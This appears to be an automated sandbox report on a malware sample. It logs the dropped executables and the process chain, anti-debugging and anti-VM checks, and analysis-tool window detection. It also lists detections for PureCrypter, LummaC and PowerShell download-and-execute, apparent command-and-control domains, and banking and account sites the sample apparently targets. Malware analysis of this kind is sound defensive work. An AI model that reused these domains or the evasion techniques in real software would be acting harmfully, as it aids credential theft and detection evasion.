Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57537C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FE844 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Special instruction interceptor: First address: 58EB2B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Special instruction interceptor: First address: 7C7CEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83EB2B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A77CEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Special instruction interceptor: First address: 10A2368 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Special instruction interceptor: First address: 10CD8F1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Special instruction interceptor: First address: 112E92F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Special instruction interceptor: First address: 96FBEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Special instruction interceptor: First address: 96FCCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Special instruction interceptor: First address: B1537C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Special instruction interceptor: First address: B9E844 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

Code function: 22_2_051E0E52 rdtsc

22_2_051E0E52

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 616	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1088	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8224	Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8224	Thread sleep time: -2370000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8224	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe TID: 3488	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CADC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

1_2_6CADC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000001.00000002.2638933235.0000000000557000.00000040.00000001.01000000.00000003.sdmp, DocumentsHDGCGHIJKE.exe, 00000016.00000002.2661854484.000000000071B000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2685550931.00000000009CB000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2704947940.00000000009CB000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3471423267.00000000009CB000.00000040.00000001.01000000.0000000E.sdmp, 029a46b374.exe, 0000001B.00000002.3474333235.0000000001084000.00000040.00000001.01000000.0000000F.sdmp, 43f0b859c6.exe, 0000001C.00000002.3470794489.0000000000AF7000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 029a46b374.exe, 0000001B.00000002.3470889263.0000000000848000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 43f0b859c6.exe, 0000001C.00000002.3474702465.0000000001564000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000001.00000002.2639827168.000000000170A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2639827168.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3478163595.00000000016CA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3478163595.0000000001698000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000002.3470889263.0000000000893000.00000004.00000020.00020000.00000000.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.0000000001533000.00000004.00000020.00020000.00000000.sdmp, 43f0b859c6.exe, 0000001C.00000002.3474702465.0000000001564000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000002.3470889263.0000000000893000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW&
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005596000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000001.00000002.2639827168.000000000168E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarep$\
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 43f0b859c6.exe, 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2638933235.0000000000557000.00000040.00000001.01000000.00000003.sdmp, DocumentsHDGCGHIJKE.exe, 00000016.00000002.2661854484.000000000071B000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2685550931.00000000009CB000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2704947940.00000000009CB000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3471423267.00000000009CB000.00000040.00000001.01000000.0000000E.sdmp, 029a46b374.exe, 0000001B.00000002.3474333235.0000000001084000.00000040.00000001.01000000.0000000F.sdmp, 43f0b859c6.exe, 0000001C.00000002.3470794489.0000000000AF7000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

Code function: 22_2_051E048C Start: 051E058A End: 051E0584

22_2_051E048C

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

Code function: 22_2_051E0E52 rdtsc

22_2_051E0E52

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB25FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6CB25FF0

Source: C:\Users\user\Desktop\file.exe

1_2_6CAC3480

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_0055652B mov eax, dword ptr fs:[00000030h]	22_2_0055652B
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_0055A302 mov eax, dword ptr fs:[00000030h]	22_2_0055A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0080A302 mov eax, dword ptr fs:[00000030h]	23_2_0080A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0080652B mov eax, dword ptr fs:[00000030h]	23_2_0080652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0080A302 mov eax, dword ptr fs:[00000030h]	24_2_0080A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0080652B mov eax, dword ptr fs:[00000030h]	24_2_0080652B

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6CAFB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6CAFB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43f0b859c6.exe PID: 8500, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 029a46b374.exe, 0000001B.00000003.3468699222.000000000554C000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures

LummaC encrypted strings found

Source: 029a46b374.exe, 0000001B.00000002.3473984963.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 029a46b374.exe, 0000001B.00000002.3473984963.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 029a46b374.exe, 0000001B.00000002.3473984963.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: peepburry828.sbs
Source: 029a46b374.exe, 0000001B.00000002.3473984963.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 029a46b374.exe, 0000001B.00000002.3473984963.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: processhol.sbs

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCGHIJKE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCGHIJKE.exe "C:\Users\user\DocumentsHDGCGHIJKE.exe"
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe "C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe "C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe"

Source: file.exe, file.exe, 00000001.00000002.2638933235.0000000000557000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: bProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CAFB341 cpuid

1_2_6CAFB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe VolumeInformation
